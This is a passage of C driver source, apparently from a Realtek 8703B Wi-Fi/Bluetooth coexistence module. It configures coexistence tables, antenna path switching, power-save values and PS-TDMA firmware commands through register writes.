IN u1Byte nControlBlock,
IN BOOLEAN bSWControl,
IN u1Byte nState
)
{
u4Byte val=0, BitMask;
nState = nState & 0x1;
val = (bSWControl)? ((nState<<1) | 0x1) : 0;
switch(nControlBlock)
{
case RFC_AND_BB:
default:
BitMask = 0x3000;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[13:12]
BitMask = 0x0300;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[9:8]
break;
case RFC_ONLY:
BitMask = 0x3000;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[13:12]
break;
case BB_ONLY:
BitMask = 0x0300;
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, 0x38, BitMask, val); // 0x38[9:8]
break;
}
}
void
halbtc8703b1ant_LTECoex_Set_CoexTable(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte nTableType,
IN u2Byte nTableContent
)
{
u2Byte RegAddr = 0x0000;
switch(nTableType)
{
case WL_VS_LTE:
RegAddr = 0xa0;
break;
case BT_VS_LTE:
RegAddr = 0xa4;
break;
}
if (RegAddr != 0x0000)
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, RegAddr, 0xffff, nTableContent); // 0xa0[15:0] or 0xa4[15:0]
}
void
halbtc8703b1ant_LTECoex_Set_BreakTable(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte nTableType,
IN u1Byte nTableContent
)
{
u2Byte RegAddr = 0x0000;
switch(nTableType)
{
case WL_BREAK_LTE:
RegAddr = 0xa8;
break;
case BT_BREAK_LTE:
RegAddr = 0xac;
break;
case LTE_BREAK_WL:
RegAddr = 0xb0;
break;
case LTE_BREAK_BT:
RegAddr = 0xb4;
break;
}
if (RegAddr != 0x0000)
halbtc8703b1ant_LTECoex_InDirectWriteReg(pBtCoexist, RegAddr, 0xff, nTableContent); // 0xa8[15:0] or 0xb4[15:0]
}
VOID
halbtc8703b1ant_SetCoexTable(
IN PBTC_COEXIST pBtCoexist,
IN u4Byte val0x6c0,
IN u4Byte val0x6c4,
IN u4Byte val0x6c8,
IN u1Byte val0x6cc
)
{
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], set coex table, set 0x6c0=0x%x\n", val0x6c0));
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x6c0, val0x6c0);
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], set coex table, set 0x6c4=0x%x\n", val0x6c4));
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x6c4, val0x6c4);
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], set coex table, set 0x6c8=0x%x\n", val0x6c8));
pBtCoexist->fBtcWrite4Byte(pBtCoexist, 0x6c8, val0x6c8);
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], set coex table, set 0x6cc=0x%x\n", val0x6cc));
pBtCoexist->fBtcWrite1Byte(pBtCoexist, 0x6cc, val0x6cc);
}
VOID
halbtc8703b1ant_CoexTable(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u4Byte val0x6c0,
IN u4Byte val0x6c4,
IN u4Byte val0x6c8,
IN u1Byte val0x6cc
)
{
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], %s write Coex Table 0x6c0=0x%x, 0x6c4=0x%x, 0x6cc=0x%x\n",
(bForceExec? "force to":""), val0x6c0, val0x6c4, val0x6cc));
pCoexDm->curVal0x6c0 = val0x6c0;
pCoexDm->curVal0x6c4 = val0x6c4;
pCoexDm->curVal0x6c8 = val0x6c8;
pCoexDm->curVal0x6cc = val0x6cc;
if(!bForceExec)
{
if( (pCoexDm->preVal0x6c0 == pCoexDm->curVal0x6c0) &&
(pCoexDm->preVal0x6c4 == pCoexDm->curVal0x6c4) &&
(pCoexDm->preVal0x6c8 == pCoexDm->curVal0x6c8) &&
(pCoexDm->preVal0x6cc == pCoexDm->curVal0x6cc) )
return;
}
halbtc8703b1ant_SetCoexTable(pBtCoexist, val0x6c0, val0x6c4, val0x6c8, val0x6cc);
pCoexDm->preVal0x6c0 = pCoexDm->curVal0x6c0;
pCoexDm->preVal0x6c4 = pCoexDm->curVal0x6c4;
pCoexDm->preVal0x6c8 = pCoexDm->curVal0x6c8;
pCoexDm->preVal0x6cc = pCoexDm->curVal0x6cc;
}
VOID
halbtc8703b1ant_CoexTableWithType(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u1Byte type
)
{
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
u4Byte nBreakTable;
u1Byte nSelectTable;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], ********** CoexTable(%d) **********\n", type));
pCoexSta->nCoexTableType = type;
if (pCoexSta->bConCurrentRxModeOn == true)
{
nBreakTable = 0xf0ffffff; //set WL hi-pri can break BT
nSelectTable = 0xb; //set Tx response = Hi-Pri (ex: Transmitting ACK,BA,CTS)
}
else
{
nBreakTable = 0xffffff;
nSelectTable = 0x3;
}
switch(type)
{
case 0:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55555555, 0x55555555, nBreakTable, nSelectTable);
break;
case 1:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55555555, 0x5a5a5a5a, nBreakTable, nSelectTable);
break;
case 2:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaa5a5a5a, 0xaa5a5a5a, nBreakTable, nSelectTable);
break;
case 3:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaa555555, 0xaa5a5a5a, nBreakTable, nSelectTable);
break;
case 4:
if ( (pCoexSta->bCCKEverLock) && (pCoexSta->nScanAPNum <= 5) )
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaa555555, 0xaaaa5a5a, nBreakTable, nSelectTable);
else
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaa555555, 0xaa5a5a5a, nBreakTable, nSelectTable);
break;
case 5:
if ( (pCoexSta->bCCKEverLock) && (pCoexSta->nScanAPNum <= 5) )
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaa555555, 0xaaaa5a5a, nBreakTable, nSelectTable);
else
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaa5a5a5a, 0xaa5a5a5a, nBreakTable, nSelectTable);
break;
case 6:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55555555, 0xaaaaaaaa, nBreakTable, nSelectTable);
break;
case 7:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0xaaaaaaaa, 0xaaaaaaaa, nBreakTable, nSelectTable);
break;
case 8:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55dd55dd, 0x5ada5ada, nBreakTable, nSelectTable);
break;
case 9:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55dd55dd, 0x5ada5ada, nBreakTable, nSelectTable);
break;
case 10:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55dd55dd, 0x5ada5ada, nBreakTable, nSelectTable);
break;
case 11:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55dd55dd, 0x5ada5ada, nBreakTable, nSelectTable);
break;
case 12:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55dd55dd, 0x5ada5ada, nBreakTable, nSelectTable);
break;
case 13:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x5fff5fff, 0xaaaaaaaa, nBreakTable, nSelectTable);
break;
case 14:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x5fff5fff, 0x5ada5ada, nBreakTable, nSelectTable);
break;
case 15:
halbtc8703b1ant_CoexTable(pBtCoexist, bForceExec, 0x55dd55dd, 0xaaaaaaaa, nBreakTable, nSelectTable);
break;
default:
break;
}
}
VOID
halbtc8703b1ant_SetFwIgnoreWlanAct(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bEnable
)
{
u1Byte H2C_Parameter[1] ={0};
if(bEnable)
{
H2C_Parameter[0] |= BIT0; // function enable
}
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], set FW for BT Ignore Wlan_Act, FW write 0x63=0x%x\n",
H2C_Parameter[0]));
pBtCoexist->fBtcFillH2c(pBtCoexist, 0x63, 1, H2C_Parameter);
}
VOID
halbtc8703b1ant_IgnoreWlanAct(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN BOOLEAN bEnable
)
{
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], %s turn Ignore WlanAct %s\n",
(bForceExec? "force to":""), (bEnable? "ON":"OFF")));
pCoexDm->bCurIgnoreWlanAct = bEnable;
if(!bForceExec)
{
if(pCoexDm->bPreIgnoreWlanAct == pCoexDm->bCurIgnoreWlanAct)
return;
}
halbtc8703b1ant_SetFwIgnoreWlanAct(pBtCoexist, bEnable);
pCoexDm->bPreIgnoreWlanAct = pCoexDm->bCurIgnoreWlanAct;
}
VOID
halbtc8703b1ant_SetLpsRpwm(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte lpsVal,
IN u1Byte rpwmVal
)
{
u1Byte lps=lpsVal;
u1Byte rpwm=rpwmVal;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_U1_LPS_VAL, &lps);
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_U1_RPWM_VAL, &rpwm);
}
VOID
halbtc8703b1ant_LpsRpwm(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN u1Byte lpsVal,
IN u1Byte rpwmVal
)
{
BOOLEAN bForceExecPwrCmd=FALSE;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], %s set lps/rpwm=0x%x/0x%x \n",
(bForceExec? "force to":""), lpsVal, rpwmVal));
pCoexDm->curLps = lpsVal;
pCoexDm->curRpwm = rpwmVal;
if(!bForceExec)
{
if( (pCoexDm->preLps == pCoexDm->curLps) &&
(pCoexDm->preRpwm == pCoexDm->curRpwm) )
{
return;
}
}
halbtc8703b1ant_SetLpsRpwm(pBtCoexist, lpsVal, rpwmVal);
pCoexDm->preLps = pCoexDm->curLps;
pCoexDm->preRpwm = pCoexDm->curRpwm;
}
VOID
halbtc8703b1ant_SwMechanism(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bLowPenaltyRA
)
{
halbtc8703b1ant_LowPenaltyRa(pBtCoexist, NORMAL_EXEC, bLowPenaltyRA);
}
VOID
halbtc8703b1ant_SetAntPath(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte antPosType,
IN BOOLEAN bForceExec,
IN BOOLEAN bInitHwCfg,
IN BOOLEAN bWifiOff
)
{
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
u4Byte fwVer=0, u4Tmp=0, cntBtCalChk=0;
BOOLEAN bPgExtSwitch=FALSE;
BOOLEAN bUseExtSwitch=FALSE;
BOOLEAN bIsInMpMode = FALSE;
u1Byte H2C_Parameter[2] ={0}, u1Tmp = 0;
u4Byte u4Tmp1=0, u4Tmp2=0;
pCoexDm->curAntPosType = antPosType;
#if 1
u4Tmp1 = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x38);
u4Tmp2 = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x54);
u1Tmp = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x73);
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** (Before Setup) 0x73 = 0x%x, 0x38= 0x%x, 0x54= 0x%x**********\n", u1Tmp, u4Tmp1, u4Tmp2));
#endif
if(bInitHwCfg)
{
//Disable LTE Coex Function in WiFi side (this should be on if LTE coex is required)
halbtc8703b1ant_LTECoex_Enable(pBtCoexist, 0x0);
//GNT_WL_LTE always = 1 (this should be config if LTE coex is required)
halbtc8703b1ant_LTECoex_Set_CoexTable(pBtCoexist, WL_VS_LTE, 0xffff);
//GNT_BT_LTE always = 1 (this should be config if LTE coex is required)
halbtc8703b1ant_LTECoex_Set_CoexTable(pBtCoexist, BT_VS_LTE, 0xffff);
// Wait If BT IQK running, because Path control owner is at BT during BT IQK (setup by WiFi firmware)
while(cntBtCalChk <= 20)
{
u1Tmp = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x49d);
cntBtCalChk++;
if(u1Tmp & BIT0)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ########### BT is calibrating (wait cnt=%d) ###########\n", cntBtCalChk));
delay_ms(50);
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** BT is NOT calibrating (wait cnt=%d)**********\n", cntBtCalChk));
break;
}
}
//set Path control owner to WL at initial step
halbtc8703b1ant_LTECoex_PathControlOwner(pBtCoexist, WLSIDE_CONTROL);
}
else if(bWifiOff)
{
//Disable LTE Coex Function in WiFi side
halbtc8703b1ant_LTECoex_Enable(pBtCoexist, 0x0);
//if MP mode
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_IS_IN_MP_MODE, &bIsInMpMode);
if(bIsInMpMode)
halbtc8703b1ant_LTECoex_PathControlOwner(pBtCoexist, WLSIDE_CONTROL); //set Path control owner to BT
else
halbtc8703b1ant_LTECoex_PathControlOwner(pBtCoexist, BTSIDE_CONTROL);//set Path control owner to WiFi
}
else
{
//
}
if(bForceExec || (pCoexDm->curAntPosType != pCoexDm->preAntPosType) || bInitHwCfg || bWifiOff)
{
// internal switch setting
switch(antPosType)
{
case BTC_ANT_PATH_WIFI:
// set GNT_BT to low
halbtc8703b1ant_LTECoex_Set_GNT_BT(pBtCoexist, RFC_AND_BB, CONTROL_BY_SW, SET_TO_LOW);
//Set GNT_WL to high
halbtc8703b1ant_LTECoex_Set_GNT_WL(pBtCoexist, RFC_AND_BB, CONTROL_BY_SW, SET_TO_HIGH);
break;
case BTC_ANT_PATH_BT:
// set GNT_BT to high
halbtc8703b1ant_LTECoex_Set_GNT_BT(pBtCoexist, RFC_AND_BB, CONTROL_BY_SW, SET_TO_HIGH);
//Set GNT_WL to low
halbtc8703b1ant_LTECoex_Set_GNT_WL(pBtCoexist, RFC_AND_BB, CONTROL_BY_SW, SET_TO_LOW);
break;
default:
case BTC_ANT_PATH_PTA:
// set GNT_BT to PTA
halbtc8703b1ant_LTECoex_Set_GNT_BT(pBtCoexist, RFC_AND_BB, CONTROL_BY_PTA, SET_BY_HW);
//Set GNT_WL to PTA
halbtc8703b1ant_LTECoex_Set_GNT_WL(pBtCoexist, RFC_AND_BB, CONTROL_BY_PTA, SET_BY_HW);
break;
}
}
#if 1
u4Tmp1 = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x38);
u4Tmp2 = halbtc8703b1ant_LTECoex_InDirectReadReg(pBtCoexist, 0x54);
u1Tmp = pBtCoexist->fBtcRead1Byte(pBtCoexist, 0x73);
if(bInitHwCfg)
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** (After Init) 0x73 = 0x%x, 0x38= 0x%x, 0x54= 0x%x**********\n", u1Tmp, u4Tmp1, u4Tmp2));
else if (bWifiOff)
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** (After WiFi off) 0x73 = 0x%x, 0x38= 0x%x, 0x54= 0x%x**********\n", u1Tmp, u4Tmp1, u4Tmp2));
else
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** (After Run time) 0x73 = 0x%x, 0x38= 0x%x, 0x54= 0x%x**********\n", u1Tmp, u4Tmp1, u4Tmp2));
#endif
pCoexDm->preAntPosType = pCoexDm->curAntPosType;
}
VOID
halbtc8703b1ant_SetFwPstdma(
IN PBTC_COEXIST pBtCoexist,
IN u1Byte byte1,
IN u1Byte byte2,
IN u1Byte byte3,
IN u1Byte byte4,
IN u1Byte byte5
)
{
u1Byte H2C_Parameter[5] ={0};
u1Byte realByte1=byte1, realByte5=byte5;
BOOLEAN bApEnable=FALSE;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_AP_MODE_ENABLE, &bApEnable);
if(bApEnable)
{
if(byte1&BIT4 && !(byte1&BIT5))
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], FW for 1Ant AP mode\n"));
realByte1 &= ~BIT4;
realByte1 |= BIT5;
realByte5 |= BIT5;
realByte5 &= ~BIT6;
}
}
H2C_Parameter[0] = realByte1;
H2C_Parameter[1] = byte2;
H2C_Parameter[2] = byte3;
H2C_Parameter[3] = byte4;
H2C_Parameter[4] = realByte5;
pCoexDm->psTdmaPara[0] = realByte1;
pCoexDm->psTdmaPara[1] = byte2;
pCoexDm->psTdmaPara[2] = byte3;
pCoexDm->psTdmaPara[3] = byte4;
pCoexDm->psTdmaPara[4] = realByte5;
RT_TRACE(COMP_COEX, DBG_TRACE, ("[BTCoex], PS-TDMA H2C cmd =0x%x%08x\n",
H2C_Parameter[0],
H2C_Parameter[1]<<24|H2C_Parameter[2]<<16|H2C_Parameter[3]<<8|H2C_Parameter[4]));
pBtCoexist->fBtcFillH2c(pBtCoexist, 0x60, 5, H2C_Parameter);
}
VOID
halbtc8703b1ant_PsTdma(
IN PBTC_COEXIST pBtCoexist,
IN BOOLEAN bForceExec,
IN BOOLEAN bTurnOn,
IN u1Byte type
)
{
PBTC_BOARD_INFO pBoardInfo=&pBtCoexist->boardInfo;
PBTC_BT_LINK_INFO pBtLinkInfo=&pBtCoexist->btLinkInfo;
BOOLEAN bTurnOnByCnt=FALSE, bWifiBusy=FALSE, bWiFiNoisy=FALSE;
u1Byte psTdmaTypeByCnt=0, rssiAdjustVal=0;
u1Byte psTdmaByte4Val = 0x50, psTdmaByte0Val = 0x51, psTdmaByte3Val = 0x10;
s1Byte nWiFiDurationAdjust = 0x0;
static BOOLEAN bPreWifiBusy=FALSE;
pCoexDm->bCurPsTdmaOn = bTurnOn;
pCoexDm->curPsTdma = type;
pBtCoexist->fBtcGet(pBtCoexist, BTC_GET_BL_WIFI_BUSY, &bWifiBusy);
if (bWifiBusy != bPreWifiBusy)
{
bForceExec = TRUE;
bPreWifiBusy = bWifiBusy;
}
if (pCoexDm->bCurPsTdmaOn)
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** TDMA(on, %d) **********\n",
pCoexDm->curPsTdma));
}
else
{
RT_TRACE(COMP_COEX, DBG_LOUD, ("[BTCoex], ********** TDMA(off, %d) **********\n",
pCoexDm->curPsTdma));
}
if(!bForceExec)
{
if( (pCoexDm->bPrePsTdmaOn == pCoexDm->bCurPsTdmaOn) &&
(pCoexDm->prePsTdma == pCoexDm->curPsTdma) )
return;
}
if (pCoexSta->nScanAPNum <= 5)
nWiFiDurationAdjust = 5;
//nWiFiDurationAdjust = 2;
else if (pCoexSta->nScanAPNum >= 40)
nWiFiDurationAdjust = -15;
else if (pCoexSta->nScanAPNum >= 20)
nWiFiDurationAdjust = -10;
if ((type == 1) || (type == 2) || (type == 9) || (type == 11) || (type == 101)
|| (type == 102) || (type == 109) || (type == 101))
{
if (!pCoexSta->bForceLpsOn) //Native power save TDMA, only for A2DP-only case 1/2/9/11 while wifi noisy threshold > 30
{
psTdmaByte0Val = 0x61; //no null-pkt
psTdmaByte3Val = 0x11; // no tx-pause at BT-slot
psTdmaByte4Val = 0x10; // 0x778 = d/1 toggle, no dynamic slot
}
else
{
psTdmaByte0Val = 0x51; //null-pkt
psTdmaByte3Val = 0x10; //tx-pause at BT-slot
psTdmaByte4Val = 0x50; // 0x778 = d/1 toggle, dynamic slot
}
}
else if ((type == 3) || (type == 13) || (type == 14) || (type == 103) || (type == 113) || (type == 114))
{
psTdmaByte0Val = 0x51; //null-pkt
psTdmaByte3Val = 0x10; //tx-pause at BT-slot
psTdmaByte4Val = 0x10; // 0x778 = d/1 toggle, no dynamic slot
#if 0
if (!bWifiBusy)
psTdmaByte4Val = psTdmaByte4Val | 0x1; //0x778 = 0x1 at wifi slot (no blocking BT Low-Pri pkts)
#endif
}
else //native power save case
{
psTdmaByte0Val = 0x61; //no null-pkt
psTdmaByte3Val = 0x11; // no tx-pause at BT-slot
psTdmaByte4Val = 0x11; // 0x778 = d/1 toggle, no dynamic slot
//psTdmaByte4Va is not defne for 0x778 = d/1, 1/1 case
}
//if (pBtLinkInfo->bSlaveRole == TRUE)
if ((pBtLinkInfo->bSlaveRole == TRUE) && (pBtLinkInfo->bA2dpExist))
psTdmaByte4Val = psTdmaByte4Val | 0x1; //0x778 = 0x1 at wifi slot (no blocking BT Low-Pri pkts)
if (type > 100)
{
psTdmaByte0Val = psTdmaByte0Val | 0x82; //set antenna control by SW
psTdmaByte3Val = psTdmaByte3Val | 0x60; //set antenna no toggle, control by antenna diversity
}
if(bTurnOn)
{
switch(type)
{
default:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x51, 0x1a, 0x1a, 0x0, psTdmaByte4Val);
break;
case 1:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3a+nWiFiDurationAdjust, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 2:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x2d+nWiFiDurationAdjust, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 3:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3a, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 4:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x93, 0x15, 0x3, 0x14, 0x0);
break;
case 5:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x15, 0x3, psTdmaByte3Val, 0x11);
break;
case 6:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x20, 0x3, psTdmaByte3Val, 0x11);
break;
case 7:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x13, 0xc, 0x5, 0x0, 0x0);
break;
case 8:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x93, 0x25, 0x3, 0x10, 0x0);
break;
case 9:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 10:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x13, 0xa, 0xa, 0x0, 0x40);
break;
case 11:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 12:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x51, 0x0a, 0x0a, 0x0, 0x50);
break;
case 13:
if (pCoexSta->nScanAPNum <= 3) // for Lenovo CPT test A2DP + OPP
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3a, 0x3, psTdmaByte3Val, psTdmaByte4Val);
else
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 14:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 15:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x13, 0xa, 0x3, 0x8, 0x0);
break;
case 16:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x93, 0x15, 0x3, 0x10, 0x0);
break;
case 18:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x93, 0x25, 0x3, 0x10, 0x0);
break;
case 20:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3f, 0x03, psTdmaByte3Val, 0x10);
break;
case 21:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x61, 0x25, 0x03, 0x11, 0x11);
break;
case 22:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x25, 0x03, psTdmaByte3Val, 0x10);
break;
case 23:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xe3, 0x25, 0x3, 0x31, 0x18);
break;
case 24:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xe3, 0x15, 0x3, 0x31, 0x18);
break;
case 25:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xe3, 0xa, 0x3, 0x31, 0x18);
break;
case 26:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xe3, 0xa, 0x3, 0x31, 0x18);
break;
case 27:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xe3, 0x25, 0x3, 0x31, 0x98);
break;
case 28:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x69, 0x25, 0x3, 0x31, 0x0);
break;
case 29:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xab, 0x1a, 0x1a, 0x1, 0x10);
break;
case 30:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x51, 0x30, 0x3, 0x10, 0x10);
break;
case 31:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xd3, 0x1a, 0x1a, 0, 0x58);
break;
case 32:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x35, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 33:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x35, 0x3, psTdmaByte3Val, 0x10);
break;
case 34:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x53, 0x1a, 0x1a, 0x0, 0x10);
break;
case 35:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x63, 0x1a, 0x1a, 0x0, 0x10);
break;
case 36:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0xd3, 0x12, 0x3, 0x14, 0x50);
break;
case 40: // SoftAP only with no sta associated,BT disable ,TDMA mode for power saving
/* here softap mode screen off will cost 70-80mA for phone */
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x23, 0x18, 0x00, 0x10, 0x24);
break;
//for 1-Ant translate to 2-Ant
case 101:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3a+nWiFiDurationAdjust, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 102:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x2d+nWiFiDurationAdjust, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 103:
//halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x51, 0x1d, 0x1d, 0x0, psTdmaByte4Val);
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3a, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 105:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x15, 0x3, psTdmaByte3Val, 0x11);
break;
case 106:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x20, 0x3, psTdmaByte3Val, 0x11);
break;
case 109:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 111:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 113:
//halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x51, 0x12, 0x12, 0x0, psTdmaByte4Val);
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 114:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x21, 0x3, psTdmaByte3Val, psTdmaByte4Val);
break;
case 120:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x3f, 0x03, psTdmaByte3Val, 0x10);
break;
case 122:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x25, 0x03, psTdmaByte3Val, 0x10);
break;
case 132:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x25, 0x03, psTdmaByte3Val, psTdmaByte4Val);
break;
case 133:
halbtc8703b1ant_SetFwPstdma(pBtCoexist, psTdmaByte0Val, 0x25, 0x03, psTdmaByte3Val, 0x11);
break;
}
}
else
{
// disable PS tdma
switch(type)
{
case 8: //PTA Control
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x8, 0x0, 0x0, 0x0, 0x0);
break;
case 0:
default: //Software control, Antenna at BT side
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x0, 0x0, 0x0, 0x0, 0x0);
break;
case 1: // 2-Ant, 0x778=3, antenna control by antenna diversity
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x0, 0x0, 0x0, 0x48, 0x0);
break;
#if 0
case 9: //Software control, Antenna at WiFi side
halbtc8703b1ant_SetFwPstdma(pBtCoexist, 0x0, 0x0, 0x0, 0x0, 0x0);
halbtc8703b1ant_SetAntPath(pBtCoexist, BTC_ANT_PATH_WIFI, FALSE, FALSE);
break;
#endif
}
}
rssiAdjustVal =0;
pBtCoexist->fBtcSet(pBtCoexist, BTC_SET_U1_RSSI_ADJ_VAL_FOR_1ANT_COEX_TYPE, &rssiAdjustVal);
RT_TRACE(COMP_COEX, DBG_LOUD, ("############# [BTCoex], 0x948=0x%x, 0x765=0x%x, 0x67=0x%x\n",
